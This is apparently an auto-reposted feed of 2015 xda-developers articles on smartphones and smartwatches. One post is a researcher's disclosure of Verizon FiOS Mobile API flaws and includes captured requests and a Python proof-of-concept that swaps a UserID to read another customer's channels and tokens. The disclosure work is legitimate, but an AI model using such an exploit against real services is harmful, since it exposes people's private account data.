LightBlog

mercredi 13 mai 2015

New Asus Zenwatch To Be Launched In June

201505120031t0001

Jerry Shen, Asus’ CEO, has confirmed that the next-gen Asus Zenwatch will be showcased at Computex Taipei scheduled for June 2-6, 2015 with sales scheduled for early Q3 2015. The new smartwatch will reportedly feature a 4-day battery life and will still run on Android Wear.

The post New Asus Zenwatch To Be Launched In June appeared first on xda-developers.



from xda-developers http://ift.tt/1FjV6Fs
via IFTTT

from XDA http://ift.tt/1L2eDcl
via IFTTT

HTC “H7″ Low-End Tablet Rumored For Q2 2015 Release

google_nexus_9_listing_play_store

Prominent leaker @upleaks has leaked a new low end device release from HTC, this time in the form of a tablet. Labelled as the “HTC H7″, the leaker has not revealed any other details or renders for this device, apart from a tentative release of Q2 2015, which puts the device unveil to be coming soon.

The post HTC “H7″ Low-End Tablet Rumored For Q2 2015 Release appeared first on xda-developers.



from xda-developers https://twitter.com/upleaks/status/598395688259489792
via IFTTT

from XDA http://ift.tt/1Iy20b1
via IFTTT

Unfinished Phones, Excuses and The Industry’s Course

20150513065313328

It is hard to recall a phone that has had a perfect release – smartphones are complex devices that encompass all sorts of hardware bits inside. Software, too, can be rather complex, and OEMs typically decide to merge many intricate features into their skinned ROMs. These reasons and more force many devices to have bittersweet releases where a percentage of units see glitches, bugs, malfunctions and the like. This is commonplace by now, and all you can do is wait for user reports.

 

Devices with experience-breaking issues like the OnePlus One were slammed because of this, and rightfully so: a faulty touch screen touches on the core of the Android experience, as do malfunctioning displays and processors. Many of these issues spring from hardware, but OEMs don’t want people to believe that – instead, they blame the faults on software. It is easy to see why, as software can be rolled out to any device while hardware faults must be repaired or replaced. In many cases they are indeed correct and a software update can fix these problems with no downsides, as seen with the Nexus 5, M9 and Moto X 2013 cameras which saw huge improvements through software revisions.

 

snapdragonpuzzBut I think that the real issue comes when, on reiterated occasions, OEMs, PR and Marketing teams, and apologists fiercely deny these issues when they are tested and quantified. This is how after the Snapdragon 810’s initial failure in the G Flex 2, Qualcomm’s PR team built a new short presentation for HTC Utopia, to revive expectations for the device. This was futile, though, as early benchmarks and testing revealed that the problems were back and worse than before – until they throttled the phone. On both occasions, OEMs steered the blame away from Qualcomm and themselves by claiming that the devices were reviewed under “unfinished software”, and that this is a natural part of the development process; it might be, but sending unfinished devices out shouldn’t be natural, it should be avoided like the plague.

At the LG G4 Day event where said device was unveiled, Qualcomm once more took the stage to inform us that this time they would deliver no-compromise performance. For real this time! The problem is that while the Snapdragon 808 remains a solid chip, it is still not on par with Samsung’s Exynos and, in some aspects, with Qualcomm’s own 2014 Snapdragon 805. Last week, Qualcomm’s VP of Marketing spoke to Forbes and the company once more denied the Snapdragon 810’s issues, this time by misleading consumers with ambiguity and even clear lies. We dissected the statements on a piece-by-piece basis to show how the interview was, in fact, simple and pure damage control.
The LG G4 ended up boasting respectable UI performance, but the chip’s shortcomings show in gaming and benchmark results. This is not to say this is a bad phone, and review units seemed finished – finally, a 2015 Snapdragon chip that was finished from the moment it was tested! Except it seemingly was not. The G4’s reviews criticized the lack of fast-charging in the device through Qualcomm’s Quick Charge 2.0 standard, which is available in plenty of Snapdragon 800 series devices. The Snapdragon 808 in the G4 could, in fact, do fast charging, but review units did not have such feature enabled. Before the embargo lifted and reviews poured out, LG had also made it seem like the feature wouldn’t come. But then the Qualcomm Website listed the device under supported devices, and many websites claimed to get confirmation from LG saying that the feature was, indeed, coming.

 

So this counts 3 of the biggest releases of 2015 thus far that carried the “unfinished software” syndrome. These 3 were related to Snapdragon chipsets, but other devices were not ready for prime-time either. The S6 and S6 Edge came with a plethora of out-of-the-box issues such as scratched screens and imperfect camera modules. The S6 devices also came with serious memory management problems that affected the real-world UX by stealthily killing your background apps, something that cost it a race against the much-throttled M9. Even Samsung’s latest and greatest came with unfinished software in this regard, but the difference is that while the memory issues were entirely software-based, a large part of the rest of phones’ problems were hardware based.

And minor releases like the excellently priced ZenFone 2 have also seen plenty of issues this year, from the unusual battery drain reported in reviews to miscellaneous bugs that people widespreadly report on Asus’ ZenTalk forum. Now, smartphone releases were not perfect in the past – my Note 4 is coming back from repairs today, as I had sent it out due to a hardware defect. But the fact that Qualcomm’s Snapdragon 810 had so many devices’ fates sealed, and that the “unfinished software” became the default excuse for something that at this point everyone knows was originally a hardware issue are things that should make us worry… a lot.

 

 

When I think of what is going on right now, I see it as something very similar to what the gaming industry is going through. I’ve personally grown distant from the videogame scene, but whenever I catch up I see that game developers are getting away with buggy, messy releases with faults that many reviewers overlook, and that consumers end up experiencing first-hand. When they complain, they are called “entitled” and what not. And, just like when it comes to phones, this wouldn’t be such an issue if pre-ordering wasn’t become so rampant and if fanboys didn’t blindly buy into the hype machine . Both game developers and OEMs can get away with release woes due to the fact that they might already have an established franchise in place, with loyal customers who will purchase the latest no matter what. After that, all it takes to get pre-orders in is luring the consumers with authoritative arguments as seen with the G4 and Colby Brown, and flashy commercials plastered all over the media.
Not all OEMs are capable of getting away with it, though, and hopefully that will wake some of them up. HTC, for example, is in an even bigger financial pit due to their M9’s flop. Their revenue plummeted on April by an astounding 38.66%, and many analysts were quick to blame the Snapdragon 810 as part of this. HTC rested on its laurels, barely iterated over the M8’s design, and the power-hungry throttled chip and mediocre camera were enough to seal the M9’s fate. Not even the surprisingly positive reviews nor the apologist claims regarding the Snapdragon 810’s issues were enough to save them. And this is, again, something that we believe must be improved: we want finalized products, in both software and hardware, from OEMs and even Google itself (we could write one of these entirely on Lollipop). The sub-par performance from unfinished software and hardware, which most of the times is either undisclosed or mitigated by misleading reviews and journalism, is a matter that should concern all of us as Android users.

 

Alas, these matters are bigger than what a community of power users can tackle. The large majority of consumers – especially for the biggest players – do not care nor research these issues. Many watch whatever lifestyle review comes up first on their quick search and go with whatever that reviewer has to say. The ones of us that keep up with developments and news, however, know that that’s not the full story… At this point, all we can do is make our voices heard, and fight so that our beloved Android industry does not go the way of gaming and the like.

The post Unfinished Phones, Excuses and The Industry’s Course appeared first on xda-developers.



from xda-developers http://ift.tt/1bPrbqN
via IFTTT

from XDA http://ift.tt/1L20CLG
via IFTTT

Multiple Vulnerabilities in Verizon’s FiOS Mobile API Exposing Customer Information

2000px-Verizon_logo.svg

After recently finding a critical vulnerability in Verizon’s My FiOS app, I thought it would be worth looking into their other apps available to customers. The FiOS Mobile app allows users to watch subscribed TV channel offerings on their mobile devices, as well as control their DVR, view On Demand histories, etc. Shortly after loading the app and reviewing the web requests/responses, I identified two vulnerabilities that exposed the private information of customers. This included the ability to view any customer’s subscribed channels as well as On Demand purchase histories.

After logging in, a user’s subscribed channels are fetched, among other data, in order to be used throughout the app.

That initial request looked like this:


POST http://ift.tt/1JHw014 HTTP/1.1
Cookie: dotcomsid=***REMOVED***
Content-Type: application/x-www-form-urlencoded
Content-Length: 235
Host: www.verizon.com
Connection: Keep-Alive

DeviceId=***REMOVED***&DeviceTypeId=AndroidPhone&AppVersion=3.1&Token=***REMOVED***&lang=en&country=US&AppName=FiOSMobile&OSVersion=19&DeviceModel=SCH-I545&UserID=rwestergren05&RegionID=

The response is below:


{
"StatusCode": "0",
"Reason": "SUCCESS",
"AccessToken": "***REMOVED***",
"DeviceType": "Android Phone",
"DeviceId": "***REMOVED***",
"UserId": "rwestergren05",
"EPGRegion": "3411",
"ZipCode": "***REMOVED***",
"FipsCode": "34_015",
"KeyPollInterval": 30,
"EASTimeSlot": 2,
"EASUrl": "http://ift.tt/1G6no54",
"BootStrapUrl": "http://ift.tt/1JHw016",
"MasterPlaylistURL": "",
"VZ-Token": "***REMOVED***",
"SubscribedChannels": "100|1084|***REMOVED***",
"SessionTimeout": "1106956098",
"IsDeviceInHome": "false",
"ConfigOverride": "true",
"IsNewEULA": "true",
"TZOffset": "-300"
}

Similar to my previous Verizon disclosure, the request included a direct reference to my username, UserID=rwestergren05 , despite my active session already being identified by the dotcomsid  cookie. As suspected, swapping my User ID with a family member’s returned his subscribed channels. Also interesting, the response included two tokens that seemed to be used for authentication elsewhere in the app. After some additional research, these tokens appeared to have been used to authenticate when streaming video. While I suspected these tokens could have been leveraged by an attacker to watch TV subscriptions to which they did not otherwise have access, I did not attempt to confirm it.

Reviewing the requests as I interacted with the rest of the app, I noticed another possible weakness: similar to the previous pattern, a user’s ID is specified in the below request to populate his history of purchased/rented On Demand offerings.


POST http://ift.tt/1G6nqdr HTTP/1.1
VZ_SSO_COOKIE: dotcomsid=***REMOVED***
Content-Length: 175
Content-Type: application/x-www-form-urlencoded
Host: www.verizon.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

DeviceId=***REMOVED***&DeviceTypeId=AndroidPhone&RequestType=R&UserID=vze1bb7b9&PageNumber=1&compver=1.0&Sig=***REMOVED***

The response is below:


{
"StatusCode": "0",
"Reason": "Success",
"ProgramInfoFlags": [],
"OtherInfoFlags": [],
"CountMyPurchases": "0",
"MyPurchasesImg": null,
"MyPurchasesUrl": null,
"CountMyRentals": "0",
"MyRentalsImg": "",
"MyRentalsUrl": "",
"CountMyBookMarks": "0",
"MyBookMarksImg": "",
"MyBookMarksUrl": "",
"Rentals": []
}

Though I have not made any On Demand rentals, I was able to confirm the vulnerability by substituting the UserID  value again. This means an attacker would have been able to view the On Demand purchase histories of any customer. I then wrote a proof-of-concept to demonstrate the issue.


import requests
import json
from urllib import urlencode

# Valid FiOS TV credentials required
username = ""
password = ""

# These don't seem to change, so using for PoC
token = "***REMOVED***"
device_id = 0

# Fetch FiOS TV service info for this target username
targetUsername = "rwestergren05"

def do_login():

s = requests.Session()

url = "http://ift.tt/1JHw01a"
payload = "aamAuth=Y&IDToken1=%s&minimalView=Y" % username

headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "Keep-Alive",
"User-Agent": None,
"Accept-Encoding": None,
"Accept": None
}

r = s.post(url=url, data=payload, allow_redirects=False, headers=headers,
proxies=proxies, verify=False)

p = urlencode({"IDToken1": password})

payload = p + "&minimalView=Y&aamAuth=Y&clientId=fiosmobile&goto=https%3A%2F%2Fauth.verizon." \
"com%2Fsso%2Fhtml%2Flanding.html&showzipcode=null&postalcode=&RemMe=on&recaptcha_challenge_field=&" \
"recaptcha_response_field="

headers = {
"Content-Type": "application/x-www-form-urlencoded",
}

url = "http://ift.tt/1G6no5b"

r2 = s.post(url=url, data=payload, headers=headers, allow_redirects=False,
proxies=proxies, verify=False)

if not (s.cookies.get("dotcomsid")):
raise Exception("Error logging in")
else:
return s


s = do_login()

# Get FiOS subscription info
url = "http://ift.tt/1JHw2Gc"

data = "DeviceId=%d&DeviceTypeId=AndroidPhone&AppVersion=3.5&Token=%s&lang=en&country=US&AppName=FiOSMobile&OSVersion=19&DeviceModel=" \
"SCH-I545&UserID=%s&RegionID=92094" % (device_id, token, targetUsername)

headers = {
"User-Agent": None,
"Accept-Encoding": None,
"Accept": None,
"Content-Type": "application/x-www-form-urlencoded",
}

r = s.post(url=url, data=data, proxies=proxies, verify=False, headers=headers)

# AccessToken, VZ-Token, and subscribed channels are available
print json.dumps(r.json(), sort_keys=True,
indent=4, separators=(',', ': '))

The script logs a user in to the Verizon web services and uses the valid session to exploit the first vulnerability by fetching the user’s subscribed channels.

Being that these vulnerabilities posed a significant privacy issue for customers, I immediately contacted Verizon’s Corporate Security team. I reported the two issues using the above PoC along with the example web request of the 2nd vulnerability that exposed On Demand purchase histories. Since we already had a relationship as a result of my prior vulnerability report, they assigned me a direct point of contact who kept me mostly up-to-date on their assessment and remediation of the vulnerabilities.

Disclosure Timeline

2015-03-04: Initial report sent to Verizon Corporate Security
2015-03-05: Response received, dev teams are assessing issues
2015-03-06: Call with point of contact RE: general research inquiries, e.g. how vulns were discovered
2015-03-11: 2nd issue (On Demand purchase histories) confirmed patched
2015-03-16: I follow-up on 1st vuln, no updates available
2015-03-20: Received follow-up email, fix scheduled for release at EOM
2015-04-01: Followed up on resolution, fix for 1st issue moved to 2015-04-07. Two additional weeks needed to update client Android apps, after which the remaining vulnerable API will be decommissioned
2015-04-27: Followed up again on resolution timeline
2015-04-30: Response received indicating client software upgrades were still taking place, fix is delayed again
2015-05-06: Response received delaying decommission date to 2015-05-12
2015-05-13: Vulnerability resolution confirmed

A few weeks following the vulnerability report, Verizon established a formal process for reporting security issues. Again, Verizon’s Corporate Security team was extremely appreciative of the report and communicated this to me multiple times throughout the disclosure process.

The post Multiple Vulnerabilities in Verizon’s FiOS Mobile API Exposing Customer Information appeared first on xda-developers.



from xda-developers http://ift.tt/1JHvFvs
via IFTTT

from XDA http://ift.tt/1PiUMeJ
via IFTTT

Device Review: YU Yureka

micromax_yu_yureka_screen_amazonindia_banner

In January of this year, YU, a new brand coming out of the Indian manufacturer Micromax, released their very first device in collaboration with Cyanogen, Inc., the Yureka. In terms of specifications, the Yureka is what I would call mid-range. Here’s a list of the details though, in case you’re not familiar with them:

 

 

 

  • CPU: Qualcomm Snapdragon 615 1.5Ghz Octa-core 64-bit
  • GPU: Adrena 405 GPU
  • Memory: 2GB DDR3
  • Storage: 16GB ROM, MicroSD card slot (up to 32Gb)
  • Camera: 13MP Rear (1080p video), 5MP Front (720p video), f/2.2 Aperture, Sony IMX135 CMOS Sensor
  • Screen: 5.5″ 1280×720 resolution IPS (267 PPI), Corning Gorilla Glass 3
  • Battery: 2500mAh, removable
  • Connectivity: LTE TDD B40 2300MHz LTE FDD B3 1800MHz WCDMA 900/2100MHz GSM
  • 900/1800/1900MHz
  • Wifi: 802.11b/g/n
  • Bluetooth: 4.0
  • OS: Cyanogen OS 12 / Android Lollipop 5.0.2


Obviously, the one spec there that really jumps out at you is the last one. This is one of the only devices you can purchase at this point running Cyanogen OS out of the box. When it arrived, it had CM11S, but was recently upgraded to Cyanogen OS 12, bringing Lollipop to the device.

REVIEW

Performance
The Snapdragon 615 is definitely not as performant as the 800-series chips, and obviously you shouldn’t expect it to be. However, for most of the games and apps I tried, it worked admirably. I did some benchmarking that placed it just below the LG G3, which really isn’t that bad for a somewhat budget-friendly device.

Screenshot_2015-03-27-11-18-50 Screenshot_2015-03-27-11-18-56

The UI is nice and snappy, as it should be, and because it’s Cyanogen OS, it’s pretty much stock Android with some built-in customizations and a theme engine.

Display
Even though it’s only a 720p display, this is one area that I was sort of surprised. The display on the Yureka gets decently bright, the colors look nice to my relatively untrained eye, and viewing angles are great. If I get very close to the screen and squint, I can see pixels, but I don’t find myself doing that terribly often.
Videos, images, and gameplay all look quite nice on this device.

Camera
This is another area where I was pleased with the Yureka. In good lighting, this thing can take some decent shots and video.

IMG_20150504_193434IMG_20150410_153014

Of course that’s to be expected with almost any phone these days. In lower lighting, it still performs adequately.

IMG_20150504_193705

Nothing mindblowing, but I’ve definitely seen worse. Images with the flash tend to be a bit harsh, so I just avoided using it.

IMG_20150504_193654

The video quality is what I would consider passable. I probably wouldn’t use it as a primary camera, but it would work as a backup. HDR mode for photos was a bit harsh, but the same could be said of the OnePlus One’s HDR mode, so I’m guessing that’s a software issue.

IMG_20150410_175458 IMG_20150410_175502

Audio
The Yureka website mentions a lot of great things about the audio on this device. 24-bit onboard audio FX app, bass boost, equalizer, all sounds impressive… but when the only speaker is rear-facing, it really doesn’t matter all that much. That said, the speaker does sound decent, I just wish it was front-facing. Even bottom-facing would be preferable over rear-facing. However, if you cup your hand around the phone in just the right way, you can direct a lot of the sound back toward yourself, and I had a hard time actually blocking out the speaker, like I have with other devices that have bottom-facing speakers, so maybe it’s a better option than bottom-facing.

Build Quality
I haven’t disassembled this device or anything, but I definitely like the way it feels in the hand. Having a removable back is an excellent addition, and the rubberized plastic finish makes it very easy to hold onto. I won’t say it feels like a “premium” device, but I wouldn’t expect it to. One minor complaint about the design though… the USB port is shifted off to the left-hand side of the bottom of the phone. Just a minor complaint, but it makes the device stand up strangely if you put it in a charging dock.

Battery
The battery is a reasonable size, and in my case, I had no issues with it lasting through the day, but there’s a caveat, and we’ll get back to that. Additionally, since it’s removable, that means it can be replaced, so if you run it down during the day, you can swap it out if you’ve got a spare and keep right on going. It doesn’t do wireless charging, which is a bit of a bummer, but again, this is a mid-range device, so I wouldn’t expect either of those. However, according to Qualcomm’s site, the 615 is supposed to support Quick Charge 2.0. I’ve tested it with my Quick Charge 2.0 charger, and it doesn’t appear to be charging terribly fast, so again, maybe it’s a software issue.

Connectivity
And here’s our caveat from earlier. If you looked closely at the connectivity section of the specs list at the top of the review, you might already know where I’m going with this. This device only works on 2G/Edge here in the US. The Yureka was never really intended to be used here, though. If you’re in a part of the world with LTE bands that the Yureka supports, I’m sure it will be an amazing device for you. In my case, when I took the device out and actually tried to use it as a daily driver, I was quick to switch back to other devices once I remembered just how slow 2G connectivity was. So just be sure to double-check your carrier’s bands and make sure the Yureka works appropriately with it before purchasing.

CONCLUSION

To wrap things up, this is a pretty impressive little device. For 8999 Rupees (approximately $140 USD) you get a phone with the footprint of the OnePlus One, the software of the OnePlus One, and the rest of the specs decreased slightly to allow for a lower price. I won’t say I’ve been blown away by it or anything, but if I had paid $140 for it, and lived in an area where it worked with LTE, I’d be extremely happy with it.

The post Device Review: YU Yureka appeared first on xda-developers.



from xda-developers http://ift.tt/1F6OPd6
via IFTTT

from XDA http://ift.tt/1EDtMvk
via IFTTT

Galaxy S6 and S6 Edge to Receive Android 5.1 in June

20150409-samsung-galaxy-s6

Last month, it came to light that Samsung would finally include Guest Mode and RAW image support as part of the Android 5.1 update for the Galaxy S6 and S6 Edge, and today Rogers has revealed that both of Samsung’s 2015 flagships are slated to receive the update sometime in June.

The post Galaxy S6 and S6 Edge to Receive Android 5.1 in June appeared first on xda-developers.



from xda-developers http://ift.tt/1BviaOW
via IFTTT

from XDA http://ift.tt/1HdktGw
via IFTTT

mardi 12 mai 2015

LG Watch Urbane Will Receive Wi-Fi Channel Fix

20150513031534153

The Watch Urbane is the first Android Wear watch to come with Wi-Fi support baked into the software, but, (presumably dueto FCC regulations) the device was only able to connect to Wi-Fi channels 1 to 11. Users will receive an update that will enable connections to channels 12 and 13 as per non-american standards.

The post LG Watch Urbane Will Receive Wi-Fi Channel Fix appeared first on xda-developers.



from xda-developers http://ift.tt/1HbHzgQ
via IFTTT

from XDA http://ift.tt/1cv2LDV
via IFTTT